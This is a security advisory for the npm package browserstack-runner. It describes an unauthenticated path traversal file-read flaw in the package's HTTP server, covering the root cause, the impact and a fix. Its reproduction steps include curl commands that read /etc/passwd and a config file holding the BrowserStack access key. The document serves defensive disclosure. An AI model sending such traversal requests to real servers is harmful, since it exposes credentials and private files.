GHSA-8rpw-6cqh-2v9h
browserstack-runner has an unauthenticated arbitrary file read via path traversal in HTTP server
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | browserstack-runner | <= 0.9.5 | no fix listed |
Details
As written in the advisory (Markdown source, shown as plain text).
## Summary
The HTTP server in browserstack-runner serves files from the project directory via the `_default` handler. This handler uses `path.join(process.cwd(), uri)` to resolve file paths but does not validate that the resulting path stays within the project root. Combined with the server binding on `0.0.0.0` (all interfaces) and the absence of any authentication, this allows an unauthenticated network-adjacent attacker to read arbitrary files from the host filesystem.
## Root Cause
**lib/server.js, lines 530–534 : `_default` handler:**
```javascript
'_default': function defaultHandler(uri, body, request, response) {
var filePath = path.join(process.cwd(), uri);
handleFile(filePath, request, response);
}
```
`uri` comes from `url.parse(request.url).pathname` (line 540), which preserves `../` sequences. `path.join` resolves them, producing absolute paths outside the project directory. No boundary check is performed before serving the file.
**bin/cli.js, line 131 : server binding:**
```javascript
server.listen(parseInt(config.test_server_port, 10));
```
No hostname is specified, so Node.js binds on `0.0.0.0` (all interfaces).
**No authentication:** The `_default` handler does not call `getWorkerUuid()` or perform any authentication check.
## Steps to Reproduce
### Step 1 : Start the server (Terminal 1)
```bash
cd browserstack-runner
echo '<html><body>test</body></html>' > _poc_test.html
echo '{"username":"X","key":"X","test_path":"_poc_test.html","test_framework":"qunit","browsers":[]}' > browserstack.json
node bin/runner.js
```
### Step 2 : Read arbitrary files (Terminal 2)
**Read /etc/hostname:**
```bash
curl -s --path-as-is "http://127.0.0.1:8888/../../../etc/hostname"
```
**Read /etc/passwd:**
```bash
curl -s --path-as-is "http://127.0.0.1:8888/../../../etc/passwd"
```
**Read the BrowserStack access key from config:**
```bash
curl -s "http://127.0.0.1:8888/browserstack.json"
```
> **Note:** `--path-as-is` is required because curl normalizes `../` sequences
> by default. Browsers and HTTP libraries that do not normalize URL paths
> (or that allow raw path construction) can exploit this without special flags.
### Expected Result
- `/etc/hostname` → server returns the machine hostname
- `/etc/passwd` → server returns the full passwd file
- `browserstack.json` → server returns the config including the BrowserStack access key
## Impact
- **BrowserStack access key theft** : `browserstack.json` is always in the project root (same directory the server serves from), and contains `username` and `key` in cleartext
- **Source code theft** : all project files are readable
- **System file disclosure** : `/etc/passwd`, `/etc/shadow` (if readable), SSH keys, `.env` files, `.npmrc` (npm tokens), etc.
- **Chainable with Finding #1** : same server, same exposure window, same network-adjacent attacker
## Suggested Fix
1. Validate the resolved path stays within the project root:
```javascript
var filePath = path.resolve(process.cwd(), '.' + uri);
if (!filePath.startsWith(process.cwd() + path.sep)) {
sendError(response, 'Forbidden', 403);
return;
}
```
2. Bind on `127.0.0.1`
3. Add authentication to the `_default` handler
References
External links from the advisory. They lead to third-party sites.